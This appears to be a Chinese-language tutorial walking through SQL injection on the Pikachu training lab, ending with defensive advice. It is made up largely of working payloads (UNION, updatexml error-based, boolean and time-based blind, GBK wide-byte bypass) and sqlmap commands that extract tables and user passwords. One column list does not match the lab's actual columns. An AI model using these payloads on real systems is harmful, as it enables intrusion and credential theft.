在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
SQL注入漏洞。
首先在页面中选择一个参数进行查询
使用bp抓包查看
这里采用post方式传递数据,id=1&submit=%E6%9F%A5%E8%AF%A2
,可以确认的是数字型,这里可以直接在bp中修改数据包,也可以使用hackbar。
判断字段个数
id=1 order by 2&submit=%E6%9F%A5%E8%AF%A2
浏览器页面显示
一共两个字段。
联合查询获取数据
id=1 union select database(),user()&submit=%E6%9F%A5%E8%AF%A2
获取到了数据名为pikachu。
获取表名
information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
id=1 union select table_name,2 from information_schema.tables where table_schema = 'pikachu'&submit=%E6%9F%A5%E8%AF%A2
浏览器页面显示
获取到了五张表:httpinfo,member,message,users,xssblind而我们要对users这个表进行破解字段。
获取表中的字段名
id=1 union select column_name,2 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'&submit=%E6%9F%A5%E8%AF%A2
浏览器页面显示
获取到了字段有id,username,password,level。
查看用户名和密码
id=1 union select username,password from users&submit=%E6%9F%A5%E8%AF%A2
浏览器页面显示
输入一个名字查看
发现输入的参数会在URL上显示出来,说明php页面通过get方法传递参数,所以这里不需要抓包。
直接在输入框中执行SQL注入命令。
判断字段个数
lucy' order by 2 #
联合查询获取数据
lucy' union select database(),user()#
获取表名
lucy' union select table_name,2 from information_schema.tables where table_schema = 'pikachu'#
获取表中的字段名
lucy' union select column_name,2 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'#
查看用户名和密码
lucy' union select username,password from users#
漏洞分析
搜索型注入,常见是使用like进行查找搜索(模糊匹配),数据库的搜索语句一般是。
select * from 表名 where username like '%$name%'
所以我们可以利用order判断字段数
判断字段个数
lucy%' order by 3#
(%'是闭合前面,#是注释后面)
联合查询获取数据
luc%' union select database(),user(),3#
由于有三个字段,所以要在查询的时候再添加一个查询条件。
获取表名
lucy%' union select table_name,2,3 from information_schema.tables where table_schema = 'pikachu'#
获取表中的字段名
lucy%' union select column_name,2,3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'#
查看用户名和密码
lucy%' union select username,password,id from users#
所谓的XX型注入, 就是输入的值可能被各种各样的符合闭合 (比如, 单引号双引号括号等),所以需要找到闭合。
首先输入单引号
推测数据库查询语句为:
select * from users where username=('$name');
判断字段个数
lucy') order by 2 #
联合查询获取数据
lucy') union select database(),user()#
获取表名
lucy') union select table_name,2 from information_schema.tables where table_schema = 'pikachu'#
获取表中的字段名
lucy') union select column_name,2 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'#
查看用户名和密码
lucy') union select username,password from users#
首先注册一个账号
填写注册信息
点击提交的时候抓包查看
漏洞分析:产生insert/update注入,是因为在用户注册和更新信息的时候存在注入点。
首先分析insert注入:
insert注入存在于用户注册时候的过程,当用户注册新信息并提交服务器的时候,服务端采用insert来将信息插入数据库。
insert语句:
insert into users(username,password)values($username,$password);
update语句:
update users set username=$username,password=$password where username=$username;
漏洞利用
用updatexml()进行报错注入。
updatexml()
是 MySQL 数据库中的一个函数,用于在 XML 字符串中更新指定路径的值。updatexml(xml_target, xpath_expr, new_value)
参数解析:
xml_target
:要更新的 XML 字符串或 XML 类型的列。xpath_expr
:XPath 表达式,指定要更新的节点路径。new_value
:String格式,替换查找到的符合条件的数据要替换的新值。注意:
- 如果找不到与给定的 XPath 表达式匹配的节点,
updatexml()
函数将返回 NULL。- 如果在更新节点时遇到错误(例如,无效的 XPath 表达式),函数将抛出错误。
将之前抓包的数据发送到重发器上,在用户名后面输入如下内容:
username=wuhu' and updatexml(1,0x7e,3)and '&password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
可以看到有报错回复。
获取数据库名
username=wuhu' and updatexml(1,concat(0x7e,database()),3)and '&password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
说明: concat(0x7e,database())
,这是一个函数调用,将两个字符串进行连接。其中 0x7e
是波浪号(tilde)的十六进制表示,database()
是一个 SQL 函数,用于返回当前数据库的名称。
获取表名
username=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' )),3) and ' &password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
说明:
GROUP_CONCAT()
是一个 SQL 聚合函数,用于将多行结果按照指定的顺序连接成一个字符串。
获取字段名
username=123' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3)and ' &password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
这里推荐使用HackBar,bp看着眼睛疼。
limit 0,1 user_id
limit 1,1 first_name
limit 2,1 last_name
limit 3,1 user
limit 4,1 password
获取用户名和密码
用户名:
username=123' and updatexml(1,concat(0x7e,(select username from users limit 0,1 ),0x7e),3)and ' &password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
密码:
username=123' and updatexml(1,concat(0x7e,(select substr(password,1,16) from users limit 0,1),0x7e),3)and ' &password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
username=123' and updatexml(1,concat(0x7e,(select substr(password,1,16) from users limit 1,1),0x7e),3)and ' &password=123456&sex=%E7%94%B7&phonenum=15088888888&email=%E5%8C%97%E4%BA%AC&add=%E5%8C%97%E4%BA%AC&submit=submit
参数说明:
substr():用于从字符串中提取子串。
函数原型:
SUBSTR(string, start_position, length)
string
:要提取子串的原始字符串。start_position
:指定子串开始的位置(索引),其中第一个字符的索引为 1。length
:可选参数,指定要提取的子串的长度。这里密码太长了,分段显示。
delete也是利用报错进行sql盲注。
在留言板中随便输入,然后提交
在删掉留言的时候抓包,发现有id,试着利用这个id作一个报错注入。
获取数据库名称
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
获取数据库中的表
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
获取users表中的字段
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)
获取用户名和密码
用户名
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)
密码
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select substr(password,1,16) from users limit 0,1),0x7e),1)
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=56 and updatexml(1,concat(0x7e,(select substr(password,17,32) from users limit 0,1),0x7e),1)
登录后页面效果
点击退出进行抓包查看,在下图红框中进行注入
判断闭合
输入单引号,页面报错
后面添加注释
注释掉还报错,考虑前/后闭合。123' and '1
。
获取数据库名
123' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1
获取数据库中的表
123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1
获取users表中的字段
123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and '1
获取用户名和密码
用户名
123' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and '1
密码
123' and updatexml(1,concat(0x7e,(select substr(password,1,16) from users limit 0,1),0x7e),1) and '1
123' and updatexml(1,concat(0x7e,(select substr(password,17,32) from users limit 0,1),0x7e),1) and '1
判断闭合
输入lucy’,用户名不存在,然后在后面加上注释
lucy' #
说明是字符型注入。
获取数据库名
lucy' and length(database())=8 #
lucy' and length(database())=7 #
说明数据库名称有7位,接下来就是获取数据库中的每一位是什么了。
按位测试
lucy' and ascii(substr(database(),1,1))=115 # # 第1位p
说明:
ASCII 表。
ascii()
是一个常见的函数或方法名称,用于获取字符的 ASCII 码值。
下图中的%23是井号的URL编码。
按照这样的方式反复尝试,获取到数据库名:pikachu
lucy' and ascii(substr(database(),2,1))=105 %23 #第2位i
lucy' and ascii(substr(database(),3,1))=107 %23 #第3位k
lucy' and ascii(substr(database(),4,1))=97 %23 #第4位a
lucy' and ascii(substr(database(),5,1))=99 %23 #第5位c
lucy' and ascii(substr(database(),6,1))=104 %23 #第6位h
lucy' and ascii(substr(database(),7,1))=117 %23 #第6位u
获取数据库表名
lucy' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1))=104 %23
lucy' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),2,1))=116 %23
这里通过之前获取到的数据库表名有httpinfo,member,message,users,xssblind。
同样表中的字段,以及用户名和密码,都是以这种盲注的形式来获取的。
使用sqlmap工具进行输入。
使用bp抓包截取cookie信息
启动sqlmap,在上图中复制URL和cookie,在sqlmap中输入:sqlmap –u ‘复制的URL’ --cookie=’复制的cookie’ 。
获取数据库名
sqlmap -u "http://192.168.188.183//pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=%E6%9F%A5%E8%AF%A2" --cookie="PHPSESSID=bdv4iol6gtj7mv1fp4lppnqtg0" --dbs
获取数据库中的表
sqlmap -u "http://192.168.188.183//pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=%E6%9F%A5%E8%AF%A2" --cookie="PHPSESSID=bdv4iol6gtj7mv1fp4lppnqtg0" -D "pikachu" --tables
获取表中的字段
sqlmap -u "http://192.168.188.183//pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=%E6%9F%A5%E8%AF%A2" --cookie="PHPSESSID=bdv4iol6gtj7mv1fp4lppnqtg0" -D "pikachu" -T "users" --columns
获取用户名和密码
sqlmap -u "http://192.168.188.183//pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=%E6%9F%A5%E8%AF%A2" --cookie="PHPSESSID=bdv4iol6gtj7mv1fp4lppnqtg0" -D "pikachu" -T "users" -C "username,password" --dump
用sleep() 语句的延时性,以时间线作为判断条件。如果成功执行了,就延时x秒。
判断闭合
kobe' and sleep(5) #
在输入单引号的时候,页面直接刷新成功,在后加上注释,页面延时了5秒,证明闭合方式为单引号。
获取数据库长度
kobe' and if(length(database())=7,sleep(5),1) #
获取数据库名称
kobe' and if(substr(database(),1,1)='p' ,sleep(5),1) #
获取数据库中的第一个表的第一个字母
kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1))=104 ,sleep(5),1) #
其他就不在演示,都是相同的道理,主要是太麻烦了。
总结:时间盲注整体上是在布尔盲注的基础上增加if判断,并且与sleep配合,布尔盲注是当对的时候,返回正确的值,错误的时候返回错误的值。而时间盲注,不管正确还是错误都不会返回值,需要依靠延迟来判断。
同样这里可以使用sqlmap工具注入的方式来破解。
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。
GBK 汉字编码方案,双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。
判断闭合
输入kobe,页面正常显示
接着输入单引号,发现页面报错,抓包查看。
服务器将单引号进行了转义,单引号由原来的'
转换为了\'
,这里面的\
表示5c,那么我们现在可以使用GBK编码,在5c前面添加一个字符,使得该字符与5c组合为一个汉字。(这个字符的范围在[8140,FEFE]之间即可)
我们在前面加上%81就是%81%5c%27,%81%5c会被编码为一个汉字。
kobe%81' or 1=1 #
获取数据库名
name=kobe%81' union select table_name,2 from information_schema.tables where table_schema = database()# &submit=%E6%9F%A5%E8%AF%A2
获取users表中的字段名
由于单引号被转义了,所以可以采用十六进制的方式来代替’user‘的使用。
name=kobe%81' union select column_name,2 from information_schema.columns where table_schema = database() and table_name=0x7573657273 # &submit=%E6%9F%A5%E8%AF%A2
获取用户名和密码
name=kobe%81' union select username,password from users # &submit=%E6%9F%A5%E8%AF%A2
避免采用拼接的方式构造SQL 语句,可以采用预编译等技术。
对进入SQL 语句的参数进行足够过滤。
部署安全设备比如WAF(web应用安全防火墙)。
现行很多开发框架,基本上已经从技术上,解决SQL 注入问题。